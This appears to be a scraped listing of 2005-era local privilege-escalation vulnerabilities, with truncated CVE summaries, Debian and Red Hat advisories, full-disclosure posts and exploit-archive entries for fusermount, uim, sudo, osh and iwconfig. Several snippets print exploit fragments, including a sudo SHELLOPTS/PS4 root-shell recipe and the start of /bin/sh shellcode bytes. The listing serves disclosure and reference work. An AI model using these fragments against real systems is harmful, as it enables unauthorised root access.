CVE-2005-3531

fusermount in FUSE before 2.4.1, if installed setuid root, allows local users to corrupt /etc/mtab and possibly modify mount options by performing a mount over a directory whose name contains certain special characters...

[SECURITY] [DSA 895-1] New uim packages fix privilege escalation

-------------------------------------------------------------------------- Debian Security Advisory DSA 895-1 [email protected] http://www.debian.org/security/ Martin Schulze November 14th, 2005 http://www.debian.org/security/faq -...

[SECURITY] [DSA 895-1] New uim packages fix privilege escalation

-------------------------------------------------------------------------- Debian Security Advisory DSA 895-1 [email protected] http://www.debian.org/security/ Martin Schulze November 14th, 2005 http://www.debian.org/security/faq -...

[Full-disclosure] DMA[2005-1112a] - 'Veritas Storage Foundation VCSI18N_LANG buffer overflow'

DMA2005-1112a - 'Veritas Storage Foundation VCSI18NLANG buffer overflow' Author: Kevin Finisterre Vendor: http://www.Veritas.com Product: 'Veritas Cluster Server for UNIX' References: http://www.digitalmunition.com/DMA2005-1112a.txt http://www.symantec.com/avcenter/security/Content/2005.11.08a.ht...

Operator Shell (osh) 1.7-14 Local Root Exploit

Exploit for linux platform in category local exploits ============================================== Operator Shell osh 1.7-14 Local Root Exploit ============================================== !/bin/sh OSH 1.7-14 Exploit EDUCATIONAL purposes only.... :- by Charles Stevenson core Description: The...

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation Sudo local root escalation privilege vuln versions : sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! %...

Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit

Exploit for linux platform in category local exploits ================================================================ Sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! % ls...

CVE-2005-2748

The malloc function in the libSystem library in Apple Mac OS X 10.3.9 and 10.4.2 allows local users to overwrite arbitrary files by setting the MallocLogFile environment variable to the target file before running a setuid application...

CVE-2005-2748

The CVE-2005-2748 issue affects Apple Mac OS X 10.3.9 and 10.4.2, where the malloc function in libSystem can be manipulated via the MallocLogFile environment variable before running a setuid application. This allows local users to overwrite arbitrary files. Root cause: environment-controlled log ...

CVE-2005-2748

The malloc function in the libSystem library in Apple Mac OS X 10.3.9 and 10.4.2 allows local users to overwrite arbitrary files by setting the MallocLogFile environment variable to the target file before running a setuid application...

CVE-2005-3279

Stack-based buffer overflow in the vgascoprintf function in Jan Kybic BitMap Viewer BMV 1.2, when compiled with the MUNIX flag and running setuid, allows local users to gain privileges via a long filename in the -b command line option...

CVE-2005-3279

CVE-2005-3279 reports a stack-based buffer overflow in the vgasco_printf function of Jan Kybic BitMap Viewer (BMV) 1.2 when built with M_UNIX and run setuid. A long filename passed via the -b option can overflow the stack and allow local privilege escalation. Affected: BMV 1.2 (vgasco_printf). Ro...

[Full-disclosure] iDEFENSE Security Advisory 10.20.05: Symantec Norton AntiVirus DiskMountNotify Local Privilege Escalation

Symantec Norton AntiVirus DiskMountNotify Local Privilege Escalation iDEFENSE Security Advisory 10.20.05 www.idefense.com/application/poi/display?id=325&type=vulnerabilities October 20, 2005 I. BACKGROUND Symantec's Norton AntiVirus for Macintosh is an antivirus solution for the Mac OS X...

CVE-2005-2759

CVE-2005-2759 (LiveUpdate) and CVE-2005-3270 (DiskMountNotify) describe local privilege escalation in Symantec Norton AntiVirus for Macintosh 9.0.3. The illustrations show that the jlucaller binary (LiveUpdate) and DiskMountNotify are setuid root and rely on user-supplied input or PATH handling t...

Low: Red Hat Security Advisory: perl security update

Updated Perl packages that fix security issues and contain several bug fixes are now available for Red Hat Enterprise Linux 4. This update has been rated as having low security impact by the Red Hat Security Response Team. Perl is a high-level programming language commonly used for system...

security flaw

Race condition in the rmtree function in File::Path.pm in Perl before 5.8.4 allows local users to create arbitrary setuid binaries in the tree being deleted, a different vulnerability than CVE-2004-0452...

Uim: Privilege escalation vulnerability

Background Uim is a multilingual input method library which provides secure and useful input method for all languages. Description Masanari Yamamoto discovered that Uim uses environment variables incorrectly. This bug causes a privilege escalation if setuid/setgid applications are linked to libui...

uim -- privilege escalation vulnerability

The uim developers reports: Masanari Yamamoto discovered that incorrect use of environment variables in uim. This bug causes privilege escalation if setuid/setgid applications was linked to libuim. This bug appears in 'immodule for Qt' enabled Qt. Normal Qt is also safe. In some distribution,...

Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid)

Exploit for linux platform in category local exploits ============================================================= Wireless Tools 26 iwconfig Local Root Exploit some setuid ============================================================= // if the iwconfig executable is setuid /str0ke include inclu...

Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid)

No description provided by source. // if the iwconfig executable is setuid /str0ke include stdio.h include string.h include unistd.h include stdlib.h / 45 Byte /bin/sh http://www.milw0rm.com/id.php?id=1169 / char shellcode= "\x31\xc0\x31\xdb\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89"...